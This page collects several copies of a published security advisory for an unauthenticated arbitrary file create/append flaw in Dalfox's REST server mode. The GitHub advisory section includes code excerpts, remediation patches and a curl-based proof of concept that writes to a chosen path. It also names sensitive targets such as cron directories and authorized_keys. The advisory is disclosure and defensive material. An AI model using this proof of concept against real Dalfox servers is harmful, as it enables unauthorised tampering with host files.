Dalfox: Unauthenticated Arbitrary File Create/Append via `output` Option in Dalfox Server Mode

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No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the output, output-all, and debug fields in model.Options are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine's logging path. The logger opens the attacker-supplied path with os.O_APPEND|os.O_CREATE|os.O_WRONLY and writes scan log lines to it. Critically, this file write block lives outside the IsLibrary guard in DalLog, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. This vulnerability is fixed in 2.13.0.

Source published

27 May 2026 17:33:44 UTC

Source modified

27 May 2026 17:59:46 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the output, output-all, and debug fields in model.Options are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine's logging path. The logger opens the attacker-supplied path with os.O_APPEND|os.O_CREATE|os.O_WRONLY and writes scan log lines to it. Critically, this file write block lives outside the IsLibrary guard in DalLog, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. This vulnerability is fixed in 2.13.0.

Source published

May 27, 2026, 5:33:44 PM (timezone not stated)

Source modified

May 27, 2026, 5:59:46 PM (timezone not stated)

Observed here

7 Nov 2026 10:33:24 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Dalfox is a powerful open-source XSS scanner and utility focused on automation. Prior to 2.13.0, when dalfox is run in REST API server mode, the output, output-all, and debug fields in model.Options are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through dalfox.Initialize into the scan engine's logging path. The logger opens the attacker-supplied path with os.O_APPEND|os.O_CREATE|os.O_WRONLY and writes scan log lines to it. Critically, this file write block lives outside the IsLibrary guard in DalLog, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. This vulnerability is fixed in 2.13.0.

Source published

27 May 2026 18:16:24 UTC

Source modified

26 Oct 2026 11:10:00 UTC

Observed here

27 Oct 2026 11:12:23 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

## Summary When dalfox is run in REST API server mode, the `output`, `output-all`, and `debug` fields in `model.Options` are JSON-tagged and deserialized directly from the attacker's request body, then propagated unchanged through `dalfox.Initialize` into the scan engine's logging path. The logger opens the attacker-supplied path with `os.O_APPEND|os.O_CREATE|os.O_WRONLY` and writes scan log lines to it. Critically, this file write block lives outside the `IsLibrary` guard in `DalLog`, so it executes even in server/library mode where file output was never intended to operate. Because no API key is required in the default configuration, an unauthenticated network caller can create or append to any file writable by the dalfox process on the host filesystem. ## Severity **High** (CVSS 3.1: 8.2) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L` - **Attack Vector:** Network — server binds to `0.0.0.0:6664` by default. - **Attack Complexity:** Low — no preconditions; all trigger options (`output`, `output-all`, `debug`) are fully attacker-supplied in the JSON body. - **Privileges Required:** None — `--api-key` defaults to `""`, so the auth middleware is never registered. - **User Interaction:** None. - **Scope:** Unchanged — the file write stays within the dalfox process's OS authority. - **Confidentiality Impact:** None — this is a write-only primitive; no data is returned to the caller. - **Integrity Impact:** High — the attacker has full control over which file path is opened, enabling creation of new files or corruption of existing files anywhere the dalfox process has write permission. While the log content format is semi-fixed, the file path is entirely attacker-determined, making the integrity violation complete with respect to file targeting. - **Availability Impact:** Low — corrupting application configuration files or log files on the host can degrade the availability of other services relying on those files. ## Affected Component - `cmd/server.go` — `init()` (line 51): `--api-key` defaults to `""` — no auth by default - `pkg/server/server.go` — `setupEchoServer()` (line 68): auth middleware only registered when `APIKey != ""` - `pkg/server/server.go` — `postScanHandler()` (lines 173–191): `rq.Options` (including `OutputFile`, `OutputAll`, `Debug`) passed to `ScanFromAPI` without sanitization - `lib/func.go` — `Initialize()` (line 107): `OutputFile` explicitly propagated from caller options; `OutputAll` (line 167) and `Debug` (line 176) likewise - `internal/printing/logger.go` — `DalLog()` (lines 230–244): `os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)` executes outside the `IsLibrary` guard ## CWE - **CWE-306**: Missing Authentication for Critical Function - **CWE-73**: External Control of File Name or Path - **CWE-434**: Unrestricted Upload of File with Dangerous Type (write-path variant) ## Description ### `output`, `output-all`, and `debug` Are Fully Attacker-Controlled `model.Options` exposes all three trigger fields with JSON tags: ```go // pkg/model/options.go:88,85,88 OutputFile string `json:"output,omitempty"` OutputAll bool `json:"output-all,omitempty"` Debug bool `json:"debug,omitempty"` ``` `postScanHandler` binds the entire `Req.Options` from the JSON body and passes it directly to `ScanFromAPI`: ```go // pkg/server/server.go:173-191 rq := new(Req) if err := c.Bind(rq); err != nil { ... } go ScanFromAPI(rq.URL, rq.Options, *options, sid) ``` `Initialize` explicitly copies all three fields into `newOptions`: ```go // lib/func.go:107, 167, 176 "OutputFile": {&newOptions.OutputFile, options.OutputFile}, ... "OutputAll": {&newOptions.OutputAll, options.OutputAll}, ... "Debug": {&newOptions.Debug, options.Debug}, ``` ### The File Write Is Not Guarded by `IsLibrary` `Initialize` always sets `IsLibrary: true` (line 20) and `Silence: true` (line 44) in its returned options — the intent being that the scan engine runs in embedded/library mode during API calls, suppressing terminal I/O. `DalLog` does respect this for stderr output: lines 203–228 route logs to `ScanResult.Logs` (not stderr) when `IsLibrary` is true. However, the file write block at lines 230–244 is positioned **after and outside** that `if-else`: ```go // internal/printing/logger.go mutex.Lock() if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) // API path } else { // stderr printing (CLI path) } // ← file write is here, unconditionally — no IsLibrary check if options.OutputFile != "" { var fdtext string if ftext != "" { fdtext = ftext f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { fmt.Fprintln(os.Stderr, "output file error (file)") } defer f.Close() if _, err := f.WriteString(fdtext + "\n"); err != nil { fmt.Fprintln(os.Stderr, "output file error (write)") } } } mutex.Unlock() ``` The `ftext` variable is populated whenever `allWrite` is true (`options.Debug || options.OutputAll`). Since both are attacker-supplied, both conditions are trivially satisfied. ### What Gets Written Log lines of the form: ``` [*] Starting scan [SID:<id>] / URL: <attacker-supplied-url> [I] Checking BAV [E] connection refused [DEBUG] <internal state> ... ``` The URL appears verbatim in log messages, giving the attacker partial influence over the written content. While the format is not fully arbitrary (fixed prefixes like `[*] `, `[I] `, `[E] `), the **file path is entirely attacker-controlled**. The flags `O_CREATE` (creates the file if absent) and `O_APPEND` (never truncates) mean the attacker can: - Create new files at arbitrary paths - Append log content to existing files (corrupting configs, auth files, cron entries if the line happens to match syntax) ### No Defense at Any Layer The same opt-in API key gap applies here as in all prior findings: ```go // pkg/server/server.go:68-70 if options.ServerType == "rest" && options.APIKey != "" { e.Use(apiKeyAuth(options.APIKey, options)) } ``` There is no path allowlist, no `IsLibrary` guard on the file write, and no stripping of `OutputFile` from API-sourced requests anywhere in the codebase. ## Proof of Concept ```bash # Step 1 — Start dalfox REST server (default: no API key) go run . server --host 127.0.0.1 --port 16664 --type rest # Step 2 — Verify health (unauthenticated) curl -s http://127.0.0.1:16664/health # Expected: {"code":200,"msg":"ok"} # Step 3 — Trigger arbitrary file creation with attacker-controlled path curl -s -X POST http://127.0.0.1:16664/scan \ -H 'Content-Type: application/json' \ --data '{ "url": "http://127.0.0.1:1/?x=1", "options": { "output": "/tmp/dalfox_sink_poc.log", "output-all": true, "debug": true, "use-headless": false } }' # Step 4 — Verify file was created and written to by the dalfox process sleep 2 cat /tmp/dalfox_sink_poc.log # Expected: # [*] Starting scan [SID:...] / URL: http://127.0.0.1:1/?x=1 # [I] Checking BAV # [E] ... ``` No `X-API-KEY` header is required. Replace `/tmp/dalfox_sink_poc.log` with any path writable by the dalfox process: `/var/www/html/injected.txt`, `/etc/cron.d/dalfox`, `~/.ssh/authorized_keys` (appending log lines that won't break key format but pollute the file), etc. ## Impact - **Arbitrary file creation**: The attacker can create files at any path on the dalfox host filesystem accessible to the dalfox process, including web-serving directories, cron drop-in directories, and application config directories. - **Arbitrary file append/corruption**: Existing files can have log-format lines appended, degrading parsers that expect strict formats (sshd_config, crontab, /etc/hosts, application config files). - **Partial content control via URL**: The scan target URL appears verbatim in log output; combined with creative path targeting, this may enable injection into certain file formats. - **No authentication required** in the default deployment. - When dalfox runs under a privileged account (e.g., in a CI pipeline or as root in a container), the blast radius extends to system-wide files. ## Recommended Remediation ### Option 1: Strip filesystem-dangerous fields from API-sourced requests (preferred) Nullify all fields that touch the local filesystem before passing options to `ScanFromAPI`. This is the same remediation recommended for the `found-action` RCE and `custom-payload-file` file-read findings and should be applied as a single consolidated patch: ```go // pkg/server/server.go — in postScanHandler, before ScanFromAPI: rq.Options.OutputFile = "" rq.Options.OutputAll = false // safe to leave user value; file write is blocked by OutputFile="" rq.Options.CustomPayloadFile = "" rq.Options.CustomBlindXSSPayloadFile = "" rq.Options.FoundAction = "" rq.Options.FoundActionShell = "" rq.Options.HarFilePath = "" ``` ### Option 2: Guard the file write with `IsLibrary` in `DalLog` Move the `OutputFile` write block inside the `else` branch so it only executes in non-library (CLI) mode: ```go // internal/printing/logger.go — restructure the if-else: if options.IsLibrary { options.ScanResult.Logs = append(options.ScanResult.Logs, text) } else { // existing stderr printing logic... // file write belongs here, not after the if-else if options.OutputFile != "" && ftext != "" { f, err := os.OpenFile(options.OutputFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) ... } } ``` This fix addresses the root structural cause — the file write was intended for CLI mode only, and gating it on `!IsLibrary` matches that intent. Option 1 is still recommended as the primary fix; Option 2 adds defence-in-depth but requires care to not break legitimate CLI usage. ### Option 3: Require `--api-key` at server startup As with the other server-mode findings, making authentication mandatory eliminates the unauthenticated attack surface entirely: ```go // cmd/server.go — in runServerCmd: if serverType == "rest" && apiKey == "" { fmt.Fprintln(os.Stderr, "ERROR: --api-key is required when running in REST server mode.") os.Exit(1) } ``` All three options should be applied together. ##Credit Emmanuel David Github:- https://github.com/drmingler.

Source published

12 May 2026 15:08:27 UTC

Source modified

25 Jun 2026 19:56:14 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L

Publisher rating · HIGH

Dalfox Server Mode has an Unauthenticated Arbitrary File Create/Append via `output` Option in github.com/hahwul/dalfox

Source published

25 Jun 2026 18:43:15 UTC

Source modified

25 Jun 2026 19:45:27 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.